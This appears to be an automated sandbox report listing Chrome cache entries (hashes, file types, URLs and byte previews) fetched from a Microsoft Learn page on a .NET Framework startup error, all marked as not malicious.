Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	195719
Entropy (8bit):	5.430057012529021
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli2:Wof3G0NSkNzMeO7z/l3lh
MD5:	9445D8D43537540BC89651C93A9C3832
SHA1:	EC3066770D52DB58CB7E44C54C3ABAA40CEB121A
SHA-256:	586D6261C80CBF8CDEC59DE01F1A1D09B32C04E87431E4333A0BF4D8990C2755
SHA-512:	F2BB9BB14C24883499AF2FAD35EE95AF7BF3D9B0431D8072C54C9D5946C751E04D952F5AD5D937F6CBC7C56177FA2091A5A6F33318F2907E9D3628C28E7FFC9C
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
